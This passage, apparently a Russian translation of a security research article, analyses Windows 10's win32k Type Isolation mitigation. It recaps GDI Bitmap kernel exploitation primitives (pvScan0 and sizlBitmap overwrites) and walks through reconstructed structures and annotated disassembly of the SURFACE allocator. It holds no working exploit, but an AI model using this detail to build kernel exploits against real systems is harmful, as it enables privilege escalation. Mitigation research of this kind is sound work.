структуры SURFOBJ. Перезапись этого указателя обеспечивает произвольную перезапись памяти ядра из пользовательского режима.sizlBitmap.cx
или sizlBitmap.cy
, можно «увеличить» буфер данных пикселей. Это обеспечивает доступ для чтения / записи к памяти ядра за пределами буфера данных пикселей.Оба способа заканчиваются настройкой схемы Manager/Worker, в которой задействованы 2 объекта Bitmap; Если вы хотите глубже изучить эту тему, я рекомендую прочитать слайды из презентации конференции Ekoparty 2016 года под названием «Abusing GDI for ring0 exploit primitives: Reloaded» [2], написанные Диего Хуаресом и Николасом Эконому.
Первый метод обеспечивает полные возможности чтения/записи. Его недостаток в
том, что для него требуется «хорошая» уязвимость (write-what-where), которая
должна позволять перезаписывать указатель pvScan0
произвольным значением.
Второй метод, хотя поначалу менее мощный, поскольку он изначально обеспечивает
доступ для чтения/записи к памяти, расположенной сразу после конца буфера
данных пикселей, имеет то преимущество, что его можно использовать даже с
ограниченными уязвимостями; простые произвольные декременты/инкременты или
запись непроизвольных значений сделают свое дело. Стратегия эксплуатации при
перезаписи члена sizlBitmap
структуры SURFOBJ состоит в том, чтобы сделать
два объекта SURFACE (назовем их SURFACE1 и SURFACE2) смежными в памяти; из-за
повреждения sizlBitmap
SURFACE1 его буфер данных пикселей "увеличивается",
таким образом перекрываясь с соседним объектом SURFACE2. С этого момента
дальнейшие операции над (теперь увеличенным) SURFACE1 могут произвольно
перезаписывать элементы заголовка SURFACE2, эффективно преобразовывая
ограниченное чтение/запись за пределами пиксельного буфера SURFACE1 в
полностью произвольные возможности чтения / записи.
Как вы могли заметить, этот второй подход к эксплуатации был возможен, потому что до сих пор буфер пиксельных данных Bitmap обычно прилегал к заголовку SURFACE; весь объект SURFACE был создан с помощью единственного выделения памяти с размером, достаточно большим, чтобы вместить как заголовок SURFACE, так и буфер данных пикселей. Это не обязательно должно было быть так, но это было реализовано именно так. Это позволило разработчикам эксплойтов получить выгодные схемы памяти, где за буфером пиксельных данных одного объекта SURFACE может следовать заголовок другого.
Учитывая этот второй подход к эксплуатации, который позволяет превратить практически любой вид уязвимости повреждения памяти (кроме записи NULL) в произвольную операцию чтения/записи над памятью ядра путем злоупотребления объектами GDI Bitmap, Microsoft решила избавиться от нее. Для этого в Windows 10 Fall Creators Update появилась функция Type Isolation, предотвращение эксплуатации в подсистеме Win32k, которая разделяет структуру памяти для объектов SURFACE.
Type Isolation
Структура данных
Изоляция типов реализуется с помощью ряда связанных структур. В этом смягчении
участвуют 4 основные структуры данных (ниже вы можете найти симпатичную
маленькую диаграмму, которая все объясняет в графическом виде):
Все они выделяются из пула PagedPoolSession
с помощью
ExAllocatePoolWithTag
. Все они имеют новый 4-байтовый тег пула, который
называется «Uiso». Кроме того, тег пула, используемый для буфера пиксельных
данных объектов SURFACE, изменился с «Gh? 5» на «Gpbm».
Статическая переменная win32kbase!GpTypeIsolation
является указателем на
другой указатель, который, в свою очередь, указывает на глобальную структуру
CTypeIsolation
. Этот CTypeIsolation
является главой кругового двусвязного
списка объектов CSectionEntry
. Каждый CSectionEntry
управляет 0xF0
заголовками SURFACE. Каждому CSectionEntry
принадлежит объект
CSectionBitmapAllocator, который поддерживает синхронизацию двух основных
объектов: массив из 0x28 Views над Section [3], каждый из которых может
содержать 6 заголовков SURFACE, и карта битов (RTL_BITMAP), которая
отслеживает занятое или свободное состояние каждого из 0x28 * 6 == 0xF0
доступных слотов в представлениях. Двусвязный список объектов CSectionEntry
может увеличиваться по мере необходимости.
Далее следуют реконструированные определения четырех упомянутых структур данных, а также их размеры и смещения их полей:
CTypeIsolation (size = 0x20 bytes)
C++:Copy to clipboard
typedef struct _CTYPEISOLATION {
PCSECTIONENTRY next; // + 0x00
PCSECTIONENTRY previous; // + 0x08
PVOID pushlock; // + 0x10
ULONG64 size; // + 0x18
} CTYPEISOLATION, *PCTYPEISOLATION;
CSectionEntry (size = 0x28 bytes)
Code:Copy to clipboard
typedef struct _CSECTIONENTRY CSECTIONENTRY, *PCSECTIONENTRY;
struct _CSECTIONENTRY {
CSECTIONENTRY *next; // + 0x00
CSECTIONENTRY *previous; // + 0x08
PVOID section; // + 0x10
PVOID view; // + 0x18
PCSECTIONBITMAPALLOCATOR bitmap_allocator; // + 0x20
};
CSectionBitmapAllocator (size = 0x28 bytes)
C++:Copy to clipboard
typedef struct _CSECTIONBITMAPALLOCATOR {
PVOID pushlock; // + 0x00
ULONG64 xored_view; // + 0x08
ULONG64 xor_key; // + 0x10
ULONG64 xored_rtl_bitmap; // + 0x18
ULONG bitmap_hint_index; // + 0x20
ULONG num_commited_views; // + 0x24
} CSECTIONBITMAPALLOCATOR, *PCSECTIONBITMAPALLOCATOR;
RTL_BITMAP (size = 0x10 bytes)
C++:Copy to clipboard
typedef struct _RTL_BITMAP {
ULONG64 size; // + 0x00
PVOID bitmap_buffer; // + 0x08
} RTL_BITMAP, *PRTL_BITMAP;
Следующая диаграмма пытается прояснить отношения между всеми задействованными структурами данных.
На этом рисунке представлено гипотетическое состояние структур Type Isolation
с 3 экземплярами CSectionEntry
, каждый со своими связанными экземплярами
CSectionBitmapAllocator
и RTL_BITMAP
. Поскольку каждый экземпляр
CSectionEntry
управляе0xF0 т заголовками SURFACE, член size объекта
CTypeIsolation
устанавливается в 0xF0 * 3 == 0x2D0.
Также представлены 0x28 Views размером 0x1000, поддерживающие первый
CSectionEntry
. В этом случае фиксируются только 2 из 0x28 Views; остальные
остаются неотображенными до тех пор, пока они не понадобятся. Первый View
заполнен: все 6 слотов размером 0x280 используются заголовками SURFACE
(запасные байты 0x100 в конце страницы здесь не показаны). Второй View
заполнен только наполовину: используются 3 слота размером 0x280 байт, а
последние 3 слота остаются неиспользованными. В то же время статус занятости
каждого слота синхронизируется с картой битов в RTL_BITMAP
, принадлежащей
тому же CSectionEntry
. В этой гипотетической ситуации, когда первые 9 слотов
используются, а остальные свободны, карта битов будет выглядеть так: 11111111 00000001 00000000 00000000 ....
Также обратите внимание, что на этом рисунке не изображен объект Section, поддерживающий объекты Views, для простоты, поскольку прямой доступ к секции не осуществляется (все обращения выполняются через Views).
В качестве отдельного замечания статическая переменная
win32kbase!SURFACE::tSize
, которая хранит размер заголовка SURFACE в байтах,
имеет значение 0x278. Однако во всем проанализированном здесь коде вычисления
выполняются для размера 0x280 байт на заголовок SURFACE, вероятно, просто для
целей выравнивания.
Code:Copy to clipboard
.data:00000001C0196110 ; Exported entry 387. ?tSize@SURFACE@@0_KA
.data:00000001C0196110 public private: static unsigned __int64 SURFACE::tSize
.data:00000001C0196110 private: static unsigned __int64 SURFACE::tSize dq 278h
Инициализация
Инициализация структур изоляции типов происходит внутри
win32kbase!HmgCreate()
, которая вызывается во время инициализации драйвера
win32kbase.sys. Он начинается с выделения указателя на будущую головную
структуру NSInstrumentation::CTypeIsolation
и сохранения его в глобальной
переменной win32kbase!GpTypeIsolation. Затем он вызывает метод
CTypeIsolation::Create()
, который выделяет головную структуру
CTypeIsolation.
Code:Copy to clipboard
HmgCreate+397 mov edx, 'osiU'
HmgCreate+39C mov rcx, r14 ; size = 8 (ptr to CTypeIsolation)
HmgCreate+39F call Win32AllocPool
HmgCreate+3A4 mov cs:uchar * * gpTypeIsolation, rax
HmgCreate+3AB test rax, rax
HmgCreate+3AE jz short loc_1C0012561
HmgCreate+3B0 xor ecx, ecx
HmgCreate+3B2 mov [rax], rcx
HmgCreate+3B5 call TypeIsolationFactory<NSInstrumentation::CTypeIsolation<163840,640>>::Create(uchar * *)
CTypeIsolation::Create()
выделяет 0x20 байт для объекта CTypeIsolation, а
затем вызывает CTypeIsolation::Initialize()
для его инициализации. Если все
прошло нормально, адрес объекта CTypeIsolation сохраняется в указателе, на
который ссылается win32kbase!GpTypeIsolation
.
Code:Copy to clipboard
.text:00000001C001263C public: static bool TypeIsolationFactory<class NSInstrumentation::CTypeIsolation<163840, 640>>::Create(unsigned char * *) proc near
[...]
.text:00000001C001264D mov edx, 20h ; NumberOfBytes
.text:00000001C0012652 mov r8d, 'osiU' ; Tag
.text:00000001C0012658 lea ecx, [rdx+1] ; PoolType
.text:00000001C001265B call cs:__imp_ExAllocatePoolWithTag ; allocates a NSInstrumentation::CTypeIsolation object
.text:00000001C0012661 mov rbx, rax ; rbx = CTypeIsolation object
.text:00000001C0012664 test rax, rax
.text:00000001C0012667 jz short loc_1C0012699
.text:00000001C0012669 and qword ptr [rax+10h], 0 ; CTypeIsolation->pushlock = NULL
.text:00000001C001266E mov rcx, rax
.text:00000001C0012671 and dword ptr [rax+18h], 0 ; CTypeIsolation->size = 0
.text:00000001C0012675 mov [rax+8], rax ; CTypeIsolation->previous = this
.text:00000001C0012679 mov [rax], rax ; CTypeIsolation->next = this
.text:00000001C001267C call NSInstrumentation::CTypeIsolation<163840,640>::Initialize(void)
.text:00000001C0012681 test al, al
.text:00000001C0012683 jz loc_1C00BA344
.text:00000001C0012689 mov [rdi], rbx ; *win32kbase!gpTypeIsolation = CTypeIsolation
В частности, CTypeIsolation::Initialize()
создает структуру CSectionEntry,
вызывая CSectionEntry::Create()
, и назначает ее следующим и предыдущим
членам объекта CTypeIsolation:
Code:Copy to clipboard
.text:00000001C0039A34 private: bool NSInstrumentation::CTypeIsolation<163840, 640>::Initialize(void) proc near
[...]
.text:00000001C0039A5E call NSInstrumentation::CSectionEntry<163840,640>::Create(void)
.text:00000001C0039A63 test rax, rax ; rax == CSectionEntry object
.text:00000001C0039A66 jz short loc_1C0039A92
.text:00000001C0039A68 mov rcx, [rbx+8] ; rcx = CTypeIsolation->previous
.text:00000001C0039A6C mov dword ptr [rbx+18h], 0F0h ; CTypeIsolation->size = 0xF0
.text:00000001C0039A73 cmp [rcx], rbx ; CTypeIsolation->previous->next == CTypeIsolation?
.text:00000001C0039A76 jnz FatalListEntryError_10
.text:00000001C0039A7C mov [rax], rbx ; CSectionEntry->next= CTypeIsolation
.text:00000001C0039A7F mov [rax+8], rcx ; CSectionEntry->previous = CTypeIsolation->previous
.text:00000001C0039A83 mov [rcx], rax ; *CTypeIsolation->previous->next = CSectionEntry
.text:00000001C0039A86 mov [rbx+8], rax ; CTypeIsolation->previous = CSectionEntry
В свою очередь, CSectionEntry::Create()
вызывает
CSectionEntry::Initialize()
, который создает объект Section, вызывая
nt!MmCreateSection()
. Размер этого раздела составляет 0x28000 байт; доступ к
этому разделу будет осуществляться через 0x28 просмотров, каждое размером
0x1000 байт. Указатель на этот объект раздела хранится в структуре
CSectionEntry.
Code:Copy to clipboard
.text:00000001C0099E5C lea r9, [rbp+arg_0] ; MaximumSize
.text:00000001C0099E60 xor eax, eax
.text:00000001C0099E62 mov rdi, rcx ; rdi = CSectionEntry object
.text:00000001C0099E65 and [r11-10h], rax
.text:00000001C0099E69 lea rcx, [rbp+SectionHandle] ; SectionHandle
.text:00000001C0099E6D and [r11-18h], rax
.text:00000001C0099E71 xor r8d, r8d ; ObjectAttributes
.text:00000001C0099E74 mov [rbp+arg_0], rax
.text:00000001C0099E78 mov edx, 0F001Fh ; DesiredAccess = SECTION_ALL_ACCESS
.text:00000001C0099E7D mov [rsp+40h+var_18], SEC_RESERVE ; AllocationAttributes
.text:00000001C0099E85 mov [rsp+40h+var_20], PAGE_READWRITE ; SectionPageProtection
.text:00000001C0099E8D mov dword ptr [rbp+arg_0], 28000h ; size for the Section
.text:00000001C0099E94 call cs:__imp_MmCreateSection
Затем он отображает View этого раздела. Указатель на представление также сохраняется в структуре CSectionEntry.
Code:Copy to clipboard
.text:00000001C0099EB8 mov [rdi+10h], rcx ; CSectionEntry->section = section
.text:00000001C0099EBC test rcx, rcx
.text:00000001C0099EBF jz short loc_1C0099F0F
.text:00000001C0099EC1 and [rbp+arg_0], 0
.text:00000001C0099EC6 lea rbx, [rdi+18h] ; rbx = ptr to output view
.text:00000001C0099ECA mov rdx, rbx
.text:00000001C0099ECD lea r8, [rbp+arg_0]
.text:00000001C0099ED1 call cs:__imp_MmMapViewInSessionSpace ; populates CSectionEntry->view
Наконец, CSectionEntry::Initialize()
создает объект CSectionBitmapAllocator,
вызывая CSectionBitmapAllocator::Create()
. Указатель на этот объект хранится
в структуре CSectionEntry.
Code:Copy to clipboard
.text:00000001C0099EED mov rcx, [rbx] ; rcx = CSectionEntry->view
.text:00000001C0099EF0 call NSInstrumentation::CSectionBitmapAllocator<163840,640>::Create(uchar * const)
.text:00000001C0099EF5 test rax, rax ; rax = CSectionBitmapAllocator
.text:00000001C0099EF8 mov [rdi+20h], rax ; CSectionEntry->bitmap_allocator = CSectionBitmapAllocator
Как и ожидалось, CSectionBitmapAllocator::Create()
вызывает
CSectionBitmapAllocator::Initialize()
. Этот метод выделяет буфер пула
размером 0x30, который используется для хранения структуры RTL_BITMAP.
Обратите внимание, что в этом контексте мы говорим не об объектах GDI Bitmap,
а о карте битов общего назначения, которая обычно используется для
отслеживания набора повторно используемых элементов. Первые 0x10 байтов этого
буфера пула используются для хранения заголовка битовой карты, а оставшиеся
0x20 байтов используются для хранения самой карты битов. Буфер размером 0x20
байт может содержать 0x100 бит, однако только 0xF0 указывается как количество
бит при вызове nt!RtlInitializeBitMap
, чтобы соответствовать количеству
слотов SURFACE, которые обрабатываются CSectionEntry. Затем все биты в битовой
карте инициализируются до 0 путем вызова nt!RtlClearAllBits
.
Code:Copy to clipboard
.text:00000001C009E324 allocate_rtl_bitmap proc near
[...]
.text:00000001C009E333 mov ecx, 21h ; PoolType = PagedPoolSession
.text:00000001C009E338 cmp edx, edi
.text:00000001C009E33A mov r8d, 'osiU' ; Tag = 'Uiso'
.text:00000001C009E340 cmovnb edi, edx ; edi = 0xF0
.text:00000001C009E343 mov edx, edi
.text:00000001C009E345 shr edx, 3 ; edx = 0x1e
.text:00000001C009E348 add edx, 7 ; edx = 0x25
.text:00000001C009E34B and edx, 0FFFFFFF8h ; edx = 0x20
.text:00000001C009E34E add edx, 10h ; NumberOfBytes = 0x30
.text:00000001C009E351 call cs:__imp_ExAllocatePoolWithTag ; allocs 0x30 bytes for a RTL_BITMAP
.text:00000001C009E357 mov rbx, rax
.text:00000001C009E35A test rax, rax
.text:00000001C009E35D jz short loc_1C009E386
.text:00000001C009E35F lea rdx, [rax+10h] ; BitMapBuffer (0x30 - 0x10 bytes)
.text:00000001C009E363 mov r8d, edi ; SizeOfBitMap (number of bits) = 0xF0
.text:00000001C009E366 mov rcx, rax ; BitMapHeader
.text:00000001C009E369 call cs:__imp_RtlInitializeBitMap
.text:00000001C009E36F mov rcx, rbx ; BitMapHeader
.text:00000001C009E372 call cs:__imp_RtlClearAllBits
Помимо выделения этой структуры RTL_BITMAP,
CSectionBitmapAllocator::Initialize()
также генерирует 64-битное случайное
число, которое используется в качестве ключа XOR для кодирования указателей на
объекты View и RTL_BITMAP, которые были ранее выделены:
Code:Copy to clipboard
.text:00000001C002DE38 private: bool NSInstrumentation::CSectionBitmapAllocator<163840, 640>::Initialize(unsigned char *) proc near
[...]
.text:00000001C002DE48 rdtsc ; source for RtlRandomEx
.text:00000001C002DE4A shl rdx, 20h
.text:00000001C002DE4E lea rcx, [rsp+28h+arg_0]
.text:00000001C002DE53 or rax, rdx
.text:00000001C002DE56 mov [rsp+28h+arg_0], eax
.text:00000001C002DE5A call cs:__imp_RtlRandomEx ; get a 32-bit random number
.text:00000001C002DE60 mov eax, eax
.text:00000001C002DE62 lea rcx, [rsp+28h+arg_0]
.text:00000001C002DE67 shl rax, 20h ; shift eax to the higher part of RAX
.text:00000001C002DE6B mov [rbx+10h], rax ; CSectionBitmapAllocator->xor_key = random
.text:00000001C002DE6F call cs:__imp_RtlRandomEx ; get another 32-bit random number
.text:00000001C002DE75 mov eax, eax
.text:00000001C002DE77 or [rbx+10h], rax ; CSectionBitmapAllocator->xor_key |= another_random
Указатели XORed на объекты View и RTL_BITMAP хранятся в структуре CSectionBitmapAllocator.
Code:Copy to clipboard
.text:00000001C002DEB8 mov rdx, [rbx+10h] ; rdx = CSectionBitmapAllocator->xor_key
.text:00000001C002DEBC mov rcx, rdx
.text:00000001C002DEBF xor rcx, rax ; rcx = CSectionBitmapAllocator->xor_key ^ RTL_BITMAP
.text:00000001C002DEC2 mov al, 1
.text:00000001C002DEC4 xor rdx, rdi ; rdx = CSectionBitmapAllocator->xor_key ^ CSectionEntry->view
.text:00000001C002DEC7 mov [rbx+18h], rcx ; CSectionBitmapAllocator->xored_rtl_bitmap = CSectionBitmapAllocator->xor_key ^ RTL_BITMAP
.text:00000001C002DECB mov [rbx+8], rdx ; CSectionBitmapAllocator->xored_view = CSectionBitmapAllocator->xor_key ^ CSectionEntry->view
Системный вызов win32kfull!NtGdiCreateBitmap()
отвечает за создание объектов
GDI Bitmap. win32kfull!NtGdiCreateBitmap()
вызывает
win32kbase!GreCreateBitmap()
, который, в свою очередь, вызывает
win32kbase!SURFMEM::bCreateDIB()
. Задача win32kbase!SURFMEM::bCreateDIB()
- выделить память для объекта SURFACE. В предыдущих версиях Windows буфер
пиксельных данных Bitmap обычно прилегал к заголовку SURFACE; это не
обязательно должно было быть таким, но это было сделано именно так. Это
сделало возможным «расширить» буфер данных пикселей, повредив член sizlBitmap
заголовка SURFACE, как объяснялось ранее, и сделав его перекрывающимся с
заголовком SURFACE соседнего Bitmap.
Начиная с Windows 10 Fall Creators Update, win32kbase!SURFMEM::bCreateDIB
гарантирует, что заголовок SURFACE и буфер пиксельных данных выделяются
отдельно.
Буфер данных пикселей выделяется в пуле PagedPoolSession простым способом,
вызывая оболочку nt!ExAllocatePoolWithTag
:
Code:Copy to clipboard
SURFMEM::bCreateDIB+10B sub r15d, r12d ; alloc_size = requested_size - sizeof(SURFACE)
SURFMEM::bCreateDIB+10E jz short loc_1C0038F91
SURFMEM::bCreateDIB+110 call cs:__imp_IsWin32AllocPoolImplSupported
SURFMEM::bCreateDIB+116 test eax, eax
SURFMEM::bCreateDIB+118 js loc_1C00C54D6
SURFMEM::bCreateDIB+11E mov r8d, 'mbpG' ; Tag = 'Gpbm'
SURFMEM::bCreateDIB+124 mov edx, r15d ; NumberOfBytes = requested_size - sizeof(SURFACE)
SURFMEM::bCreateDIB+127 mov ecx, 21h ; PoolType = PagedPoolSession
SURFMEM::bCreateDIB+12C call cs:__imp_Win32AllocPoolImpl ; <<< allocation! only for the pixel_data_buffer
С другой стороны, заголовок SURFACE теперь выделяется из структур
CTypeIsolation, описанных ранее, путем вызова
CTypeIsolation::AllocateType()
. Чтобы быть точным, это распределение
возвращает буфер, расположенный в представлении объекта раздела:
Code:Copy to clipboard
SURFMEM::bCreateDIB+16C mov rax, cs:uchar * * gpTypeIsolation
SURFMEM::bCreateDIB+173 mov rcx, [rax]
SURFMEM::bCreateDIB+176 test rcx, rcx
SURFMEM::bCreateDIB+179 jz loc_1C00C579D
SURFMEM::bCreateDIB+17F call NSInstrumentation::CTypeIsolation<163840,640>::AllocateType(void)
SURFMEM::bCreateDIB+184 mov rsi, rax ; rsi = buffer for the SURFACE header
SURFMEM::bCreateDIB+187 test rax, rax ; the returned buffer is a View of a Section object
SURFMEM::bCreateDIB+18A jz loc_1C00C5791
Покопавшись в функции CTypeIsolation::AllocateType()
, мы можем увидеть, как
работает алгоритм распределения.
CTypeIsolation::AllocateType()
просматривает список объектов CSectionEntry;
для каждого CSectionEntry он проверяет, содержит ли его
CSectionBitmapAllocator бит очистки в своей поддерживающей структуре
RTL_BITMAP, вызывая nt!RtlFindClearBits
. Он использует поле
bitmap_hint_index класса CSectionBitmapAllocator, чтобы ускорить поиск.
Code:Copy to clipboard
.text:00000001C0039863 mov r8d, ebp ; HintIndex = 0
.text:00000001C0039866 cmp eax, 0F0h ; bitmap_hint_index >= RTL_BITMAP->size?
.text:00000001C003986B jnb short loc_1C0039870
.text:00000001C003986D mov r8d, eax ; HintIndex = bitmap_hint_index
.text:00000001C0039870
.text:00000001C0039870 loc_1C0039870: ; CODE XREF: NSInstrumentation::CTypeIsolation<163840,640>::AllocateType(void)+6Bj
.text:00000001C0039870 mov rcx, [rsi+18h] ; rcx = CSectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C0039874 mov edx, 1 ; NumberToFind
.text:00000001C0039879 xor rcx, [rsi+10h] ; BitMapHeader = CSectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C0039879 ; ^ CSectionBitmapAllocator->xor_key
.text:00000001C003987D call cs:__imp_RtlFindClearBits
.text:00000001C0039883 mov r12d, eax ; r12 = free_bit_index
.text:00000001C0039886 cmp eax, 0FFFFFFFFh ; free_bit_index == -1?
.text:00000001C0039889 jz short loc_1C00398D6 ; if so, RTL_BITMAP is full, check another CSectionEntry
Если nt!RtlFindClearBits
возвращает -1, указывая, что все биты в RTL_BITMAP
установлены в 1 (то есть RTL_BITMAP заполнен), то он пытается повторить
операцию со следующим CSectionEntry в списке. Мы рассмотрим этот случай позже.
В противном случае, если nt!RtlFindClearBits
возвращает значение, отличное
от -1, это означает, что RTL_BITMAP имеет по крайней мере 1 очищающий бит, и,
следовательно, что память раздела в текущем CSectionEntry имеет по крайней
мере 1 свободный слот для заголовка SURFACE.
Таким образом, нам нужно отобразить индекс бита очистки в RTL_BITMAP,
возвращаемый функцией nt!RtlFindClearBits()
, в соответствующий адрес памяти
свободного слота в представлении сечения. Для этого индекс бита очистки
делится на 6, поскольку каждое представление раздела размером 0x1000 байт
может содержать 6 заголовков SURFACE размером 0x280. Результатом является
индекс, который я называю view_index
в приведенных ниже фрагментах
дизассемблера. Этот view_index
будет находиться в диапазоне [0, 0x27],
поскольку размер каждого раздела составляет 0x28000 байт, и поэтому его можно
разделить на 0x28 Views размером 0x1000, и он используется для адресации
одного из 0x28 возможных представлений раздела.
Этот view_index
сравнивается со счетчиком фактически зафиксированных Views
для текущего раздела, который содержится в поле num_commited_views
объекта
CSectionBitmapAllocator
. Как объясняется в MSDN [4], «физическая память не
выделяется для представления до тех пор, пока не будет осуществлен доступ к
диапазону виртуальной памяти». Если view_index
меньше, чем количество
зафиксированных представлений, тогда нам не нужно фиксировать новое
представление, и мы можем сразу перейти к выделению. В противном случае адрес
соответствующего представления вычисляется (first_view + view_index * 0x1000)
и фиксируется в физической памяти путем вызова nt!MmCommitSessionMappedView
.
Code:Copy to clipboard
.text:00000001C003988B mov eax, 0AAAAAAABh
.text:00000001C0039890 mul r12d
.text:00000001C0039893 mov eax, [rsi+24h] ; eax = CSectionBitmapAllocator->num_commited_views
.text:00000001C0039896 mov r15d, edx ; HI_DWORD(free_bit_index * 0xaaaaaaab) / 4 == free_bit_index / 6
.text:00000001C0039899 shr r15d, 2 ; r15d = view_index = free_bit_index / 6 (6 SURFACE headers fit in 0x1000 bytes)
.text:00000001C003989D cmp r15d, eax ; view_index < num_commited_views ?
.text:00000001C00398A0 jb loc_1C003998A ; if so, no need to commit a new 0x1000-byte chunk from the View
.text:00000001C00398A6 cmp eax, 28h ; num_commited_views >= MAX_VIEW_INDEX ?
.text:00000001C00398A9 jnb loc_1C003998A
.text:00000001C00398AF mov rbp, [rsi+8]
.text:00000001C00398AF ; rbp = CSectionBitmapAllocator->xored_view
.text:00000001C00398B3 mov edx, r15d ; edx = view_index
.text:00000001C00398B6 xor rbp, [rsi+10h] ; CSectionBitmapAllocator->xored_view ^ CSectionBitmapAllocator->xor_key
.text:00000001C00398BA shl edx, 0Ch ; view_index * 0x1000
.text:00000001C00398BD add rbp, rdx ; rbp = view + view_index * 0x1000
.text:00000001C00398C0 mov edx, 1000h ; edx = size to commit
.text:00000001C00398C5 mov rcx, rbp ; rcx = addr of view to commit
.text:00000001C00398C8 call cs:__imp_MmCommitSessionMappedView
После успешной фиксации 0x1000-байтовое представление инициализируется значением 0 (эта операция записи завершает фактическую фиксацию), и поле num_commited_views CSectionBitmapAllocator обновляется соответствующим образом.
Code:Copy to clipboard
.text:00000001C0039975 loc_1C0039975: ; CODE XREF: NSInstrumentation::CTypeIsolation<163840,640>::AllocateType(void)+D0j
.text:00000001C0039975 xor edx, edx ; Val
.text:00000001C0039977 mov r8d, 1000h ; Size
.text:00000001C003997D mov rcx, rbp ; Dst
.text:00000001C0039980 call memset ; this memset actually commits the memory
.text:00000001C0039985 inc dword ptr [rsi+24h] ; CSectionBitmapAllocator->num_commited_views++
.text:00000001C0039988 xor ebp, ebp
Либо, если новый View должно быть зафиксировано или нет, индекс бита очистки
RTL_BITMAP затем устанавливается в 1 путем вызова nt!RtlSetBit()
, чтобы
пометить этот бит как занятый. Как ни странно, код вызывает nt!RtlTestBit()
перед установкой бита в 1, но возвращаемое значение вообще не проверяется.
Кроме того, поле bitmap_hint_index CSectionBitmapAllocator увеличивается на 1,
сбрасывая его в 0, если он превышает максимальное значение 0xF0 - 1.
Code:Copy to clipboard
.text:00000001C003998A mov rcx, [rsi+18h] ; rcx = CsectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C003998E mov edx, r12d ; BitNumber = free bit index
.text:00000001C0039991 xor rcx, [rsi+10h] ; BitMapHeader = CSectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C0039991 ; ^ CSectionBitmapAllocator->xor_key
.text:00000001C0039995 call cs:__imp_RtlTestBit ; [!] return value not checked
.text:00000001C003999B mov rcx, [rsi+18h] ; rcx = CsectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C003999F mov edx, r12d ; BitNumber
.text:00000001C00399A2 xor rcx, [rsi+10h] ; BitMapHeader = xored_rtl_bitmap ^ xor_key
.text:00000001C00399A6 call cs:__imp_RtlSetBit
.text:00000001C00399AC inc dword ptr [rsi+20h] ; CSectionBitmapAllocator->bitmap_hint_index++
.text:00000001C00399AF cmp dword ptr [rsi+20h], 0F0h ; CSectionBitmapAllocator->bitmap_hint_index >= bitmap size?
.text:00000001C00399B6 jnb short loc_1C0039A27
[...]
.text:00000001C0039A27 loc_1C0039A27: ; CODE XREF: NSInstrumentation::CTypeIsolation<163840,640>::AllocateType(void)+1B6j
.text:00000001C0039A27 mov [rsi+20h], ebp ; CSectionBitmapAllocator->bitmap_hint_index = 0
.text:00000001C0039A2A jmp short loc_1C00399B8
Теперь, когда мы сопоставили наш бит очистки с соответствующим View, нам нужно
выбрать блок размером 0x280 байт в этом представлении. Каждое представление
может содержать 6 заголовков SURFACE (0x1000 / 0x280 == 6). Для этого
выполняется следующий расчет: free_bit_index - view_index * 6
, что просто
равно free_bit_index % 6
.
Code:Copy to clipboard
.text:00000001C00399B8 mov rax, [rsi+10h] ; rax = CSectionBitmapAllocator->xor_key
.text:00000001C00399BC mov ecx, r15d ; ecx = view_index
.text:00000001C00399BF mov rsi, [rsi+8] ; rsi = CSectionBitmapAllocator->xored_view
.text:00000001C00399C3 xor edx, edx
.text:00000001C00399C5 shl ecx, 0Ch ; ecx = view_index * 0x1000
.text:00000001C00399C8 xor rsi, rax ; rsi = xored_view ^ xor_key
.text:00000001C00399CB add rsi, rcx ; rsi = view + view_index * 0x1000
.text:00000001C00399CE mov rcx, rbx ; rcx = CSectionBitmapAllocator->pushlock
.text:00000001C00399D1 call cs:__imp_ExReleasePushLockExclusiveEx
.text:00000001C00399D7 call cs:__imp_KeLeaveCriticalRegion
.text:00000001C00399DD lea eax, [r15+r15*2] ; r15 == view_index
.text:00000001C00399E1 add eax, eax
.text:00000001C00399E3 sub r12d, eax ; r12d = free_bit_index - view_index * 6 == free_bit_index % 6
.text:00000001C00399E6 lea ebx, [r12+r12*4]
.text:00000001C00399EA shl ebx, 7 ; ebx = r12 * 0x5 * 0x80 == r12 * 0x280
.text:00000001C00399ED add rbx, rsi ; rbx += view + view_index * 0x1000
Значение, которое RBX получает по адресу 0x1C00399ED, является адресом недавно
выделенного заголовка SURFACE, и это значение будет возвращено
CTypeIsolation::AllocateType()
.
Для полноты и, как и было обещано, вот что происходит, когда
nt!RtlFindClearBits()
возвращает -1, что означает, что RTL_BITMAP текущего
CSectionEntry заполнен. В этом случае выполняется следующий условный переход
Code:Copy to clipboard
.text:00000001C0039870 mov rcx, [rsi+18h] ; rcx = CSectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C0039874 mov edx, 1 ; NumberToFind
.text:00000001C0039879 xor rcx, [rsi+10h] ; BitMapHeader = xored_rtl_bitmap ^ xor_key
.text:00000001C003987D call cs:__imp_RtlFindClearBits
.text:00000001C0039883 mov r12d, eax ; r12 = free_bit_index
.text:00000001C0039886 cmp eax, 0FFFFFFFFh ; free_bit_index == -1?
.text:00000001C0039889 jz short loc_1C00398D6 ; if so, RTL_BITMAP is full, check another CSectionEntry
Этот переход приводит нас сюда, где он проверяет, есть ли CSectionEntry->next == CTypeIsolation, что означает, что мы достигли конца списка объектов CSectionEntry. Если это не так, он зацикливается и повторяет процесс со следующим объектом CSectionEntry.
Code:Copy to clipboard
.text:00000001C00398D6 loc_1C00398D6: ; CODE XREF: NSInstrumentation::CTypeIsolation<163840,640>::AllocateType(void)+89j
.text:00000001C00398D6 lea rcx, [rsp+48h+arg_0]
.text:00000001C00398DB call NSInstrumentation::CAutoExclusiveCReaderWriterLock<NSInstrumentation::CPlatformReaderWriterLock>::~CAutoExclusiveCReaderWriterLock<NSInstrumentation::CPlatformReaderWriterLock>(void)
.text:00000001C00398E0 loc_1C00398E0: ; CODE XREF: NSInstrumentation::CTypeIsolation<163840,640>::AllocateType(void)+1F0j
.text:00000001C00398E0 mov r14, [r14] ; r14 = CSectionEntry->next
.text:00000001C00398E3 mov ebp, 0
.text:00000001C00398E8 cmp r14, r13 ; CSectionEntry->next == CTypeIsolation ?
.text:00000001C00398EB jnz loc_1C0039843 ; if not, keep traversing the list
В противном случае, если мы достигли конца списка объектов CSectionEntry, не
найдя пустой слот (то есть каждый CSectionEntry содержит максимум заголовков
0xF0 SURFACE), будет достигнут следующий код. Как показано ниже, он создает
новый CSectionEntry и вызывает CSectionBitmapAllocator::Allocate()
для члена
